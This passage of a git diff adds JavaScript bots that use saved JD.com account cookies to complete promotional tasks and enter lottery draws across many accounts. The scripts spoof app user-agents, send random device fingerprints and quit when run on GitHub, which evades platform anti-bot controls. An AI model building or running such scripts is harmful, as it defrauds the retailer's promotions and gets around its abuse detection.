Safari/537.36 MMWEBID/8813 MicroMessenger/8.0.20.2100(0x280014DA) Process/appbrand1 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx91d27dbf599dff74', + 'accept': '*/*', + 'x-requested-with': 'com.tencent.mm', + 'referer': 'https://huiyuan.m.jd.com/?source=xcx', + 'accept-encoding': 'gzip, deflate', + 'accept-language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7' + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_xtclh.js b/jd_xtclh.js new file mode 100644 index 0000000..ddb540c --- /dev/null +++ b/jd_xtclh.js @@ -0,0 +1,338 @@ +/* +[task_local] +#4月小天才联合活动 +31 16 16-30/3 4 * jd_xtclh.js, tag=4月小天才联合活动, enabled=true +from https://raw.githubusercontent.com/KingRan/KR/main/jd_opencardty.js + */ +const $ = new Env('4月小天才联合活动'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +$.configCode = "3581767cb40d464b908d8dc0e6cc3ccf"; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + console.log('入口下拉:https://pro.m.jd.com/wq/active/23ebsEwajrvYj9qqsqhDJwZprQBo/index.html') + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdmodule(); + //await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + + +async function jdmodule() { + let runTime = 0; + do { + await getinfo(); //获取任务 + $.hasFinish = true; + await run(); + runTime++; + } while (!$.hasFinish && runTime < 10); + await getinfo(); + console.log("开始抽奖"); + for (let x = 0; x < $.chanceLeft; x++) { + await join(); + await $.wait(1500) + } +} + +//运行 +async function run() { + try { + for (let vo of $.taskinfo) { + if (vo.hasFinish === true) { + continue; + } + if (vo.taskName == '每日签到') { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 3) { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await getinfo2(vo.taskItem.itemLink); + await $.wait(1000 * vo.viewTime) + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 4) { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 2) { + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + $.hasFinish = false; + } + } catch (e) { + console.log(e); + } +} + + +// 获取任务 +function getinfo() { + return new Promise(resolve => { + $.get({ + url: `https://jdjoy.jd.com/module/task/draw/get?configCode=${$.configCode}&unionCardCode=`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/json', + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + 'X-Requested-With': 'com.jingdong.app.mall', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getinfo请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.chanceLeft = data.data.chanceLeft; + if (data.success == true) { + $.taskinfo = data.data.taskConfig + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//抽奖 +function join() { + return new Promise(async (resolve) => { + $.get({ + url: `https://jdjoy.jd.com/module/task/draw/join?configCode=${$.configCode}&fp=${randomWord(false, 32, 32)}&eid=`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/json', + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + 'X-Requested-With': 'com.jingdong.app.mall', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`join请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log(`抽奖结果:${data.data.rewardName}`); + } + else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//做任务 +function doTask(taskType, itemId, taskid) { + return new Promise(resolve => { + let options = taskPostUrl('doTask', `{"configCode":"${$.configCode}","taskType":${taskType},"itemId":"${itemId}","taskId":${taskid}}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`doTask 请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log("任务成功"); + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + +//领取任务奖励 +function getReward(taskType, itemId, taskid) { + return new Promise(resolve => { + let options = taskPostUrl('getReward', `{"configCode":"${$.configCode}","taskType":${taskType},"itemId":"${itemId}","taskId":${taskid}}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`getReward 请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log("任务奖励领取成功"); + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function getinfo2(url2) { + return new Promise(resolve => { + $.get({ + url: url2, + headers: { + 'Host': 'pro.m.jd.com', + 'accept': '*/*', + 'content-type': 'application/x-www-form-urlencoded', + 'referer': '', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`getinfo2 API请求失败,请检查网路重试`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function taskPostUrl(function_id, body = {}) { + return { + url: `https://jdjoy.jd.com/module/task/draw/${function_id}`, + body: `${(body)}`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/json", + "Host": "jdjoy.jd.com", + "x-requested-with": "com.jingdong.app.mall", + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function randomWord(randomFlag, min, max) { + var str = "", + range = min, + arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; + + // 随机产生 + if (randomFlag) { + range = Math.round(Math.random() * (max - min)) + min; + } + for (var i = 0; i < range; i++) { + pos = Math.round(Math.random() * (arr.length - 1)); + str += arr[pos]; + } + return str; +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new 